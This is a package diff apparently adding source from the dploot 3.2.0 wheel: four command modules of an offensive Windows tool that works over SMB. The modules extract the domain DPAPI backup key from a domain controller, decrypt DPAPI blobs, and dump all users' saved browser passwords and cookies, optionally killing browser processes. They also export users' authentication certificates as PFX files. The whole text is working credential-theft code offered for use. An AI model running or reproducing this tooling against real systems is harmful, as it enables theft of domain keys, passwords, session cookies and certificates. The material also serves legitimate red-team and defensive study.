dploot 3.2.0__py2.py3-none-any.whl

dploot/action/backupkey.py

@@ -0,0 +1,102 @@
+import argparse
+import logging
+from binascii import hexlify
+import sys
+from typing import Callable, Tuple
+
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.triage.backupkey import BackupkeyTriage
+
+NAME = "backupkey"
+
+
+class BackupkeyAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.dce = None
+        self.outputfile = None
+        self.legacy = self.options.legacy
+
+        if self.options.outputfile is not None and self.options.outputfile != "":
+            self.outputfile = self.options.outputfile
+        else:
+            self.outputfile = "key.pvk"
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+        if self.conn.local_session:
+            logging.error("Backup key is not implemented with LOCAL target.")
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        triage = BackupkeyTriage(target=self.target, conn=self.conn)
+        backupkey = triage.triage_backupkey()
+        if backupkey.backupkey_v1 is not None and self.legacy:
+            if not self.options.quiet:
+                print("Legacy key:")
+                print("0x%s" % hexlify(backupkey.backupkey_v1).decode("latin-1"))
+                print("\n")
+            logging.info("Exporting key to file {}".format(self.outputfile + ".key"))
+            open(self.outputfile + ".key", "wb").write(backupkey.backupkey_v1)
+        if not self.options.quiet:
+            print("[DOMAIN BACKUPKEY V2]")
+            backupkey.pvk_header.dump()
+            print(
+                "PRIVATEKEYBLOB:{%s}"
+                % (hexlify(backupkey.backupkey_v2).decode("latin-1"))
+            )
+            print("\n")
+        logging.critical(
+            f"Exporting domain backupkey to file {self.outputfile}"
+        )
+        open(self.outputfile, "wb").write(backupkey.backupkey_v2)
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = BackupkeyAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(NAME, help="Backup Keys from domain controller")
+
+    group = subparser.add_argument_group("backupkey options")
+
+    group.add_argument(
+        "-outputfile",
+        action="store",
+        help=("Export keys to specific filename (default key.pvk)"),
+    )
+
+    group.add_argument(
+        "-legacy", action="store_true", help=("Get also backupkey v1 (legacy)")
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/blob.py

@@ -0,0 +1,167 @@
+import argparse
+import base64
+import logging
+import os
+import sys
+from typing import Callable, Tuple
+from dploot.action.masterkeys import (
+    add_masterkeys_argument_group,
+    parse_masterkeys_options,
+)
+
+from impacket.dpapi import DPAPI_BLOB
+
+from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, find_guid, find_sha1, handle_outputdir_option
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
+
+NAME = "blob"
+
+
+class BlobAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+
+        if not self.handle_blob_option(self.options.blob):
+            sys.exit(1)
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+        
+        if self.options.masterkey is not None:
+            guid, sha1 = self.options.masterkey.split(":")
+            self.masterkeys[Masterkey(
+                guid=find_guid(guid),
+                sha1=find_sha1(sha1),
+            )]
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            logging.info("Trying to decrypt DPAPI blob\n")
+            DPAPI_BLOB(self.blob).dump()
+            masterkey = find_masterkey_for_blob(self.blob, masterkeys=self.masterkeys)
+            if masterkey is not None:
+                cleartext = decrypt_blob(blob_bytes=self.blob, masterkey=masterkey, entropy=self.options.entropy if self.options.entropy != "" else None)
+                print("Data decrypted: %s" % cleartext)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+    
+    def handle_blob_option(self, blob_argument):
+        if os.path.isfile(blob_argument):
+            with open(blob_argument, "rb") as f:
+                self.blob = f.read()
+            return True
+        else:
+            try:
+                self.blob = base64.b64decode(blob_argument)
+                return True
+            except Exception:
+                logging.error(f"{blob_argument} does not seems to be a file nor a b64 encoded blob.")
+        return False
+
+def entry(options: argparse.Namespace) -> None:
+    a = BlobAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Decrypt DPAPI blob. Can fetch masterkeys on target"
+    )
+
+    group = subparser.add_argument_group("blob options")
+
+    group.add_argument(
+        "-blob",
+        action="store",
+        required=True,
+        help=("Blob base64 encoded or in file"),
+    )
+
+    group.add_argument(
+        "-masterkey",
+        action="store",
+        help=("{GUID}:SHA1 masterkey"),
+    )
+
+    group.add_argument(
+        "-entropy",
+        action="store",
+        help=("Entropy value"),
+    )
+    
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_masterkeys_argument_group(group)
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/browser.py

@@ -0,0 +1,192 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+from dploot.action.masterkeys import (
+    add_masterkeys_argument_group,
+    parse_masterkeys_options,
+)
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.browser import BrowserTriage, Cookie
+from dploot.triage.cng import CngTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+
+NAME = "browser"
+
+
+class BrowserAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_masterkeys()
+                if self.options.v20support:
+                    self.masterkeys += masterkeytriage.triage_system_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            if self.options.kill_browser:
+                logging.info("Killing browsers")
+                for browser_process_name in ["chrome.exe", "msedge.exe", "brave.exe"]:
+                    self.conn.perform_taskkill(process_name=browser_process_name)
+
+            def secret_callback(secret):
+                if not self.options.show_cookies and isinstance(secret, Cookie):
+                    return
+                if self.options.quiet:
+                    secret.dump_quiet()
+                else:
+                    secret.dump()
+
+            cng_chromekey = None
+
+            if self.options.v20support:
+                triage = CngTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    masterkeys=self.masterkeys,
+                )
+                logging.info("Triage SYSTEM CNG files\n")
+
+                for cng_file in triage.triage_system_cng():
+                    if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
+                            logging.info("Found CNG Google ChromeKey1\n")
+                            cng_chromekey = cng_file.decrypted_private_key
+
+            triage = BrowserTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_secret_callback=secret_callback,
+            )
+            logging.info(
+                "Triage Browser Credentials%sfor ALL USERS\n"
+                % (" and Cookies " if self.options.show_cookies else " ")
+            )
+            triage.triage_browsers(
+                gather_cookies=self.options.show_cookies,
+                cng_chromekey=cng_chromekey,
+                bypass_shared_violation=self.options.bypass_shared_violation,
+            )
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = BrowserAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME,
+        help="Dump users credentials and cookies saved in browser from local or remote target",
+    )
+
+    group = subparser.add_argument_group("browser options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_masterkeys_argument_group(group)
+
+    group.add_argument(
+        "-show-cookies",
+        action="store_true",
+        help=("Output dumped cookies from browsers"),
+    )
+
+    group.add_argument(
+        "-bypass-shared-violation",
+        action="store_true",
+        help=("Will try to bypass Shared Violation Error with a silly esentutl trick"),
+    )
+
+    group.add_argument(
+        "-v20support",
+        action="store_true",
+        help=("Will dump v20 chromium credentials (will perform a LSA dump in form of reg save)"),
+    )
+
+    group.add_argument(
+        "-kill-browser",
+        action="store_true",
+        help=(
+            "Will try to kill browser's process. Usefull when Shared Violation Error"
+        ),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry

dploot/action/certificates.py

@@ -0,0 +1,146 @@
+import argparse
+import logging
+import sys
+from typing import Callable, Tuple
+from dploot.action.masterkeys import (
+    add_masterkeys_argument_group,
+    parse_masterkeys_options,
+)
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
+from dploot.triage.certificates import CertificatesTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+
+NAME = "certificates"
+
+
+class CertificatesAction:
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+
+        self.conn = None
+        self._is_admin = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+        self.passwords = None
+        self.nthashes = None
+
+        self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
+            self.options, self.target
+        )
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info(
+            "Connected to {} as {}\\{} {}\n".format(
+                self.target.address,
+                self.target.domain,
+                self.target.username,
+                ("(admin)" if self.is_admin else ""),
+            )
+        )
+        if self.is_admin:
+            if self.masterkeys is None:
+
+                def masterkey_triage(masterkey):
+                    masterkey.dump()
+
+                masterkeytriage = MasterkeysTriage(
+                    target=self.target,
+                    conn=self.conn,
+                    pvkbytes=self.pvkbytes,
+                    nthashes=self.nthashes,
+                    passwords=self.passwords,
+                    per_masterkey_callback=masterkey_triage
+                    if not self.options.quiet
+                    else None,
+                )
+                logging.info("Triage ALL USERS masterkeys\n")
+                self.masterkeys = masterkeytriage.triage_masterkeys()
+                print()
+                if self.outputdir is not None:
+                    dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
+
+            def certificate_callback(certificate):
+                if not self.options.dump_all and not certificate.clientauth:
+                    return
+                if not self.options.quiet:
+                    certificate.dump()
+                filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
+                logging.critical("Writting certificate to %s" % filename)
+                if not self.options.quiet:
+                    print()  # better outputing
+                with open(filename, "wb") as f:
+                    f.write(certificate.pfx)
+
+            triage = CertificatesTriage(
+                target=self.target,
+                conn=self.conn,
+                masterkeys=self.masterkeys,
+                per_certificate_callback=certificate_callback,
+            )
+            logging.info("Triage Certificates for ALL USERS\n")
+            triage.triage_certificates()
+            if self.outputdir is not None:
+                dump_looted_files_to_disk(self.outputdir, triage.looted_files)
+                
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+
+def entry(options: argparse.Namespace) -> None:
+    a = CertificatesAction(options)
+    a.run()
+
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+    subparser = subparsers.add_parser(
+        NAME, help="Dump users certificates from local or remote target"
+    )
+
+    group = subparser.add_argument_group("certificates options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=("File containing {GUID}:SHA1 masterkeys mappings"),
+    )
+
+    add_masterkeys_argument_group(group)
+
+    group.add_argument(
+        "-dump-all",
+        action="store_true",
+        help=("Dump also certificates not used for client authentication"),
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry